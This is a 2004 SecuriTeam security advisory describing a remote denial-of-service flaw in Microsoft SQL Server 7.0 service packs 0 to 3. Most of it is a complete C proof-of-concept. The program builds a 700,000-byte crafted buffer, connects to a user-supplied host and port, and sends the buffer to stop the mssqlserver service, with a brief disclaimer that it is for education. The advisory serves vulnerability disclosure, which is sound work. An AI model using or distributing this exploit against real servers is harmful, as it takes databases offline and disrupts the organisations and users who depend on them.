[EXPL] Microsoft SQL Server DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 10/04/04

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    To: list@securiteam.com
Date: 4 Oct 2004 14:08:22 +0200

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      Microsoft SQL Server DoS
    ------------------------------------------------------------------------

    SUMMARY

    A vulnerability in Microsoft's SQL server allows an attacker to remotely
    trigger a denial of service condition by sending a large buffer with
    specially crafted data. The result is that the mssqlserver service is
    stopped.

    DETAILS

    Vulnerable Systems:
     * MSSQL Server version 7.0 with Services Packs 1 up to and including 3

    By sending a large specially crafted buffer it is possible to stop the
    mssqlserver service. The error registered is different depending on the
    MSSQL Service Pack install but the result is always the same.

    Proof of concept
    /* Microsoft mssql 7.0 server is vulnerable to denial of service attack
     * By sending a large buffer with specified data an attacker can stop the
    service
     * "mssqlserver" the error noticed is different according to services'
    pack but the result is always
     * the same one.
     *Exception Codes = c0000005
     * vulnerable:MSSQL7.0 sp0 - sp1 - sp2 - sp3
     * This code is for educational purposes, I am not responsible for your
    acts
     * Greets:sm0g DEADm|x #crack.fr itmaroc and evryone who I forgot */

    #include <stdio.h>
    #include <winsock.h>

    #pragma comment(lib,"ws2_32")
    u_long resolv(char*);

    void main(int argc, char **argv) {
     WSADATA WinsockData;
     SOCKET s;
     int i;
     struct sockaddr_in vulh;
     char buffer[700000];
     for(i=0;i<700000;i+=16)
    memcpy(buffer+i,"\x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc",16);

     if (argc!=3) {
      printf("MSSQL denial of service\n");
      printf("by securma massine\n");
      printf("Cet outil a ete cree pour test ,je ne suis en aucun cas
    responsable des degats que vous pouvez en faire\n");
      printf("Syntaxe: MSSQLdos <ip> <port>\n");
      exit(1);
     }

     WSAStartup(0x101,&WinsockData);
     s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

     ZeroMemory(&vulh,sizeof(vulh));
     vulh.sin_family=AF_INET;
     vulh.sin_addr.s_addr=resolv(argv[1]);
     vulh.sin_port=htons(atoi(argv[2]));
     if (connect(s,(struct sockaddr*)&vulh,sizeof(vulh))==SOCKET_ERROR) {
      printf("Impossible de se connecter...le port est en generale
    1433...\n");
      exit(1);
     }

      {
      send(s,buffer,sizeof(buffer),0);
      
      printf("Data envoyes...\n");
     }
     printf("\nattendez quelques secondes et verifiez que le serveur ne repond
    plus.\n");
     closesocket(s);
     WSACleanup();
    }

    u_long resolv(char *host_name) {
     struct in_addr addr;
     struct hostent *host_ent;

     if ((addr.s_addr = inet_addr(host_name)) == -1) {
      if (!(host_ent = gethostbyname(host_name))) {
       printf ("Erreur DNS : Impossible de r soudre l'adresse %s
    !!!\n",host_name);
       exit(1);
      }
      CopyMemory((char *)&addr.s_addr,host_ent->h_addr,host_ent->h_length);
     }
     return addr.s_addr;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:securma@caramail.com>
    securma@caramail.com.

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